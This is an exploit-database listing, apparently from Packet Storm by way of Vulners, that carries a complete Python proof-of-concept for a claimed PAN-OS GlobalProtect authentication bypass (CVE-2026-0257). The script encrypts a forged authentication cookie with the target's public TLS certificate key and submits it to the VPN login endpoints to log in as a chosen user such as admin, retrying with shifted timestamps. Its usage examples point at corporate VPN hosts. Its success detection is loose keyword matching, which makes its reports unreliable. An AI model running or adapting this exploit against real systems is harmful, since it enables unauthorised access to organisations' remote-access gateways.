Lucene search
K

📄 PAN-OS GlobalProtect Authentication Bypass

🗓️ 07 Jul 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 6 Views

PAN-OS GlobalProtect authentication bypass via cookie forging and certificate reuse (CVE-2026-0257).

Related
Code
==================================================================================================================================
    | # Title     : PAN-OS GlobalProtect < 12.1.4-h6 Authentication Bypass – Cookie Forging and Certificate Reuse Analysis           |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://security.paloaltonetworks.com/CVE-2026-0257                                                              |
    ==================================================================================================================================
    
    [+] Summary    :  This Python poc targets an alleged authentication bypass vulnerability in PAN-OS GlobalProtect (CVE-2026-0257)by attempting to forge authentication cookies 
                      using publicly exposed TLS certificate material.
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import argparse
    import base64
    import socket
    import ssl
    import time
    import json
    import re
    import sys
    import urllib.request
    import urllib.parse
    from cryptography import x509
    from cryptography.hazmat.primitives.asymmetric import padding
    from cryptography.hazmat.primitives import hashes, serialization
    from cryptography.hazmat.primitives.asymmetric import rsa
    from typing import List, Tuple, Optional
    
    try:
        from colorama import init, Fore, Style
        init(autoreset=True)
        HAS_COLOR = True
    except ImportError:
        HAS_COLOR = False
        class Fore:
            RED = GREEN = YELLOW = CYAN = MAGENTA = RESET = ''
        Style = Fore
    
    def banner():
        banner_text = f"""
    {Fore.RED}
    ╔══════════════════════════════════════════════════════════════════════════════╗
    ║                           CVE-2026-0257                                      ║
    ║              PAN-OS GlobalProtect Authentication Bypass                      ║
    ║                                                                              ║
    ║    Exploits reliance on cookies without validation (CWE-565)                 ║
    ║    Forges authentication cookies using reused encryption certificates        ║
    ║                                                                              ║
    ║                            By indoushka                                      ║
    ╚══════════════════════════════════════════════════════════════════════════════╝{Style.RESET_ALL}
    """
        print(banner_text)
    
    class GlobalProtectExploit:
        """Main exploit class for CVE-2026-0257"""
        
        def __init__(self, target: str, port: int = 443, verbose: bool = False):
            self.target = target
            self.port = port
            self.verbose = verbose
            self.base_url = f"https://{target}:{port}"
            
        def log(self, msg: str, level: str = "info"):
            """Logging with colors"""
            colors = {
                "info": Fore.CYAN,
                "success": Fore.GREEN,
                "error": Fore.RED,
                "warning": Fore.YELLOW,
                "debug": Fore.MAGENTA
            }
            prefix = {
                "info": "[*]",
                "success": "[+]",
                "error": "[-]",
                "warning": "[!]",
                "debug": "[DEBUG]"
            }
            if HAS_COLOR:
                print(f"{colors.get(level, Fore.WHITE)}{prefix[level]} {msg}{Style.RESET_ALL}")
            else:
                print(f"{prefix[level]} {msg}")
            
            if self.verbose and level == "debug":
                sys.stdout.flush()
        
        def extract_certificate_chain(self) -> List[x509.Certificate]:
            """Extract full certificate chain from TLS handshake"""
            self.log(f"Connecting to {self.target}:{self.port} to extract certificate chain...")
            
            ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            
            certificates = []
            
            try:
                with ctx.wrap_socket(socket.socket(), server_hostname=self.target) as sock:
                    sock.connect((self.target, self.port))
    
                    try:
                        cert_chain = sock.get_unverified_chain()
                        if cert_chain:
                            for der in cert_chain:
                                cert = x509.load_der_x509_certificate(der)
                                certificates.append(cert)
                                self.log(f"Found {cert.public_key().key_size}-bit RSA key (Subject: {cert.subject.rfc4514_string()[:50]})", "debug")
                    except AttributeError:
                        der = sock.getpeercert(binary_form=True)
                        if der:
                            cert = x509.load_der_x509_certificate(der)
                            certificates.append(cert)
                            self.log(f"Found {cert.public_key().key_size}-bit RSA key", "debug")
                            
            except Exception as e:
                self.log(f"Failed to extract certificate: {e}", "error")
                raise
            
            if not certificates:
                raise Exception("No certificates extracted")
            
            self.log(f"Extracted {len(certificates)} certificate(s)", "success")
            return certificates
        
        def forge_auth_cookie(self, public_key: rsa.RSAPublicKey, username: str, 
                              domain: str = "", client_ip: str = "0.0.0.0",
                              timestamp: Optional[int] = None) -> str:
            """
            Forge GP-Auth-Cookie using target's public key
            
            The vulnerable format: username;domain;;timestamp;client-ip;
            This gets encrypted with the certificate used for authentication override
            """
            if timestamp is None:
                timestamp = int(time.time())
    
            plaintext = f"{username};{domain};;{timestamp};{client_ip};"
            self.log(f"Plaintext payload: {plaintext}", "debug")
    
            try:
                ciphertext = public_key.encrypt(
                    plaintext.encode('utf-8'),
                    padding.PKCS1v15()
                )
            except Exception as e:
                self.log(f"Encryption failed: {e}", "error")
                raise
            cookie = base64.b64encode(ciphertext).decode('utf-8')
            
            return cookie
        
        def test_ssl_vpn_endpoint(self, cookie: str, username: str) -> Tuple[bool, str]:
            """Test forged cookie against /ssl-vpn/login.esp endpoint"""
            endpoint = f"{self.base_url}/ssl-vpn/login.esp"
    
            post_data = {
                "user": username,
                "passwd": "", 
                "portal-userauthcookie": cookie,
                "direct": "yes",
                "clientVer": "4100",
                "prot": "https",
                "server": self.target,
                "ok": "Login",
                "jnlpReady": "jnlpReady",
                "prelogonuser": "no",
                "computer": "test-pc",
                "os": "Windows"
            }
           
            encoded_data = urllib.parse.urlencode(post_data).encode('utf-8')
            
            req = urllib.request.Request(endpoint, data=encoded_data, method='POST')
            req.add_header("Content-Type", "application/x-www-form-urlencoded")
            req.add_header("User-Agent", "PAN-GP/4.1.0 (Windows)")
            req.add_header("X-PAN-AGENT", "GP/4.1.0")
            
            try:
                ctx = ssl.create_default_context()
                ctx.check_hostname = False
                ctx.verify_mode = ssl.CERT_NONE
                
                with urllib.request.urlopen(req, context=ctx, timeout=15) as response:
                    response_text = response.read().decode('utf-8', errors='ignore')
                    status_code = response.getcode()
                    
                    self.log(f"HTTP Status: {status_code}", "debug")
                    success_indicators = [
                        "Success", "success",
                        "<argument>", "argument",
                        "portal", "Portal",
                        "gateway", "Gateway",
                        "config", "Config",
                        "session", "Session",
                        "connected", "Connected",
                        "authcookie", "AuthCookie",
                        "set-cookie", "Set-Cookie"
                    ]
    
                    for indicator in success_indicators:
                        if indicator.lower() in response_text.lower():
                            if "error" not in response_text.lower() or "failed" not in response_text.lower():
                                return True, response_text
                    if status_code in [200, 302]:
                        if any(x in response_text.lower() for x in ['welcome', 'dashboard', 'home']):
                            return True, response_text
                    
                    return False, response_text
                    
            except urllib.error.HTTPError as e:
    
                if e.code == 302:
                    self.log("Got redirect - likely successful bypass", "debug")
                    return True, str(e.headers)
                return False, f"HTTP Error: {e.code}"
            except Exception as e:
                return False, str(e)
        
        def test_globalprotect_endpoint(self, cookie: str, username: str) -> Tuple[bool, str]:
            """Test against the primary GlobalProtect endpoint"""
            endpoint = f"{self.base_url}/global-protect/login.esp"
            
            post_data = {
                "user": username,
                "passwd": "",
                "portal-userauthcookie": cookie,
                "prot": "https",
                "server": self.target,
                "clientVer": "4100",
                "computer": "bypass-test"
            }
            
            encoded_data = urllib.parse.urlencode(post_data).encode('utf-8')
            req = urllib.request.Request(endpoint, data=encoded_data, method='POST')
            req.add_header("Content-Type", "application/x-www-form-urlencoded")
            
            try:
                ctx = ssl.create_default_context()
                ctx.check_hostname = False
                ctx.verify_mode = ssl.CERT_NONE
                
                with urllib.request.urlopen(req, context=ctx, timeout=15) as response:
                    response_text = response.read().decode('utf-8', errors='ignore')
    
                    if "error" not in response_text.lower() and len(response_text) > 100:
                        if "authcookie" in response_text.lower() or "session" in response_text.lower():
                            return True, response_text
                            
                    return False, response_text
                    
            except Exception as e:
                return False, str(e)
        
        def extract_gateway_info(self, response_text: str) -> dict:
            """Extract gateway and portal information from response"""
            info = {
                "portal": None,
                "gateway": None,
                "auth_cookie": None,
                "session": None
            }
    
            portal_pattern = r'portal[":\s]+([a-zA-Z0-9._-]+)'
            gateway_pattern = r'gateway[":\s]+([a-zA-Z0-9._-]+)'
            
            portal_match = re.search(portal_pattern, response_text, re.IGNORECASE)
            gateway_match = re.search(gateway_pattern, response_text, re.IGNORECASE)
            
            if portal_match:
                info['portal'] = portal_match.group(1)
            if gateway_match:
                info['gateway'] = gateway_match.group(1)
            cookie_match = re.search(r'(?:gp-auth-cookie|GP-Auth-Cookie)[=:\s]+([a-zA-Z0-9+/=]+)', 
                                     response_text, re.IGNORECASE)
            if cookie_match:
                info['auth_cookie'] = cookie_match.group(1)
                
            return info
        
        def run(self, username: str, domain: str = "", 
                client_ip: str = "127.0.0.1", target_time: Optional[int] = None) -> dict:
            """
            Main exploit execution
            
            Returns:
                dict with exploitation results
            """
            results = {
                "success": False,
                "username": username,
                "cookie": None,
                "keys_tried": 0,
                "response": None,
                "gateway_info": {}
            }
    
            try:
                certificates = self.extract_certificate_chain()
            except Exception as e:
                self.log(f"Certificate extraction failed: {e}", "error")
                return results
            
            self.log(f"Attempting authentication bypass for user: {username}")
            for idx, cert in enumerate(certificates):
                results["keys_tried"] = idx + 1
                public_key = cert.public_key()
                
                self.log(f"[{idx+1}/{len(certificates)}] Trying certificate...")
                cookie = self.forge_auth_cookie(public_key, username, domain, client_ip, target_time)
                results["cookie"] = cookie
                
                self.log(f"Cookie (first 60 chars): {cookie[:60]}...", "debug")
                self.log("Testing against /ssl-vpn/login.esp...")
                success, response = self.test_ssl_vpn_endpoint(cookie, username)
                
                if success:
                    self.log("SUCCESS! Authentication bypass achieved!", "success")
                    results["success"] = True
                    results["response"] = response[:1000] if response else None
                    results["gateway_info"] = self.extract_gateway_info(response if response else "")
    
                    if not results["gateway_info"].get("gateway"):
                        self.log("Attempting secondary endpoint...")
                        success2, response2 = self.test_globalprotect_endpoint(cookie, username)
                        if success2:
                            results["gateway_info"].update(self.extract_gateway_info(response2))
                    
                    return results
                else:
                    self.log(f"Failed with this key: {response[:200] if response else 'No response'}", "debug")
    
            self.log("Attempting time-shifted cookie attack...", "warning")
            for offset in [-3600, 3600, -7200, 7200]: 
                shifted_time = int(time.time()) + offset
                cookie = self.forge_auth_cookie(certificates[0].public_key(), username, domain, client_ip, shifted_time)
                success, response = self.test_ssl_vpn_endpoint(cookie, username)
                if success:
                    self.log(f"SUCCESS with time offset {offset} seconds!", "success")
                    results["success"] = True
                    results["cookie"] = cookie
                    results["response"] = response[:1000] if response else None
                    return results
            
            self.log("All keys and time offsets failed. Target may be patched or not vulnerable.", "error")
            return results
    
    
    def main():
        banner()
        
        parser = argparse.ArgumentParser(
            description="CVE-2026-0257 - PAN-OS GlobalProtect Authentication Bypass Exploit",
            formatter_class=argparse.RawDescriptionHelpFormatter,
            epilog="""
    Examples:
      python3 CVE-2026-0257.py --target vpn.company.com
      python3 CVE-2026-0257.py --target 192.168.1.100 --user administrator --verbose
      python3 CVE-2026-0257.py --target 10.0.0.1 --user john.doe --domain corp.local --output cookie.txt
            """
        )
        
        parser.add_argument("-t", "--target", required=True, 
                           help="Target GlobalProtect server (IP or hostname)")
        parser.add_argument("-p", "--port", type=int, default=443,
                           help="Port number (default: 443)")
        parser.add_argument("-u", "--user", default="admin",
                           help="Username to forge cookie for (default: admin)")
        parser.add_argument("-d", "--domain", default="",
                           help="Domain name (optional)")
        parser.add_argument("-c", "--client-ip", default="127.0.0.1",
                           help="Client IP address to spoof (default: 127.0.0.1)")
        parser.add_argument("-o", "--output", 
                           help="Output file to save the forged cookie")
        parser.add_argument("-v", "--verbose", action="store_true",
                           help="Enable verbose output")
        
        args = parser.parse_args()
    
        exploit = GlobalProtectExploit(args.target, args.port, args.verbose)
        results = exploit.run(args.user, args.domain, args.client_ip)
    
        print("\n" + "="*70)
        if results["success"]:
            print(f"{Fore.GREEN}╔════════════════════════════════════════════════════════════════╗")
            print(f"║                    EXPLOIT SUCCESSFUL                                 ║")
            print(f"╚════════════════════════════════════════════════════════════════╝{Style.RESET_ALL}")
            print(f"\n{Fore.GREEN}[+] Authentication Bypass Achieved!{Style.RESET_ALL}")
            print(f"    Username      : {results['username']}")
            print(f"    Target        : {args.target}")
            print(f"    Cookie        : {results['cookie']}")
            print(f"    Keys attempted: {results['keys_tried']}")
            
            if results['gateway_info'].get('gateway'):
                print(f"    Gateway       : {results['gateway_info']['gateway']}")
            if results['gateway_info'].get('portal'):
                print(f"    Portal        : {results['gateway_info']['portal']}")
    
            if args.output:
                with open(args.output, 'w') as f:
                    f.write(f"# CVE-2026-0257 Exploit\n")
                    f.write(f"# Target: {args.target}\n")
                    f.write(f"# Username: {results['username']}\n")
                    f.write(f"# Date: {time.strftime('%Y-%m-%d %H:%M:%S')}\n\n")
                    f.write(f"GP-AUTH-COOKIE={results['cookie']}\n")
                exploit.log(f"Cookie saved to {args.output}", "success")
                
            if args.verbose and results['response']:
                print(f"\n{Fore.CYAN}--- Response Preview ---")
                print(results['response'][:500])
                print(f"{Style.RESET_ALL}")
                
        else:
            print(f"{Fore.RED}╔════════════════════════════════════════════════════════════════╗")
            print(f"║                    EXPLOIT FAILED                                      ║")
            print(f"╚════════════════════════════════════════════════════════════════╝{Style.RESET_ALL}")
            print(f"\n{Fore.RED}[-] Exploitation unsuccessful.{Style.RESET_ALL}")
            print("    Possible reasons:")
            print("    1. Target is not vulnerable (patched)")
            print("    2. Authentication override cookies are disabled")
            print("    3. Certificate is not reused for cookie encryption")
            print("    4. Network/firewall blocking access")
            
        print("\n" + "="*70)
        
        return 0 if results["success"] else 1
    
    
    if __name__ == "__main__":
        sys.exit(main())
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Jul 2026 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.19.1
CVSS 47.8
EPSS0.86678
SSVC
6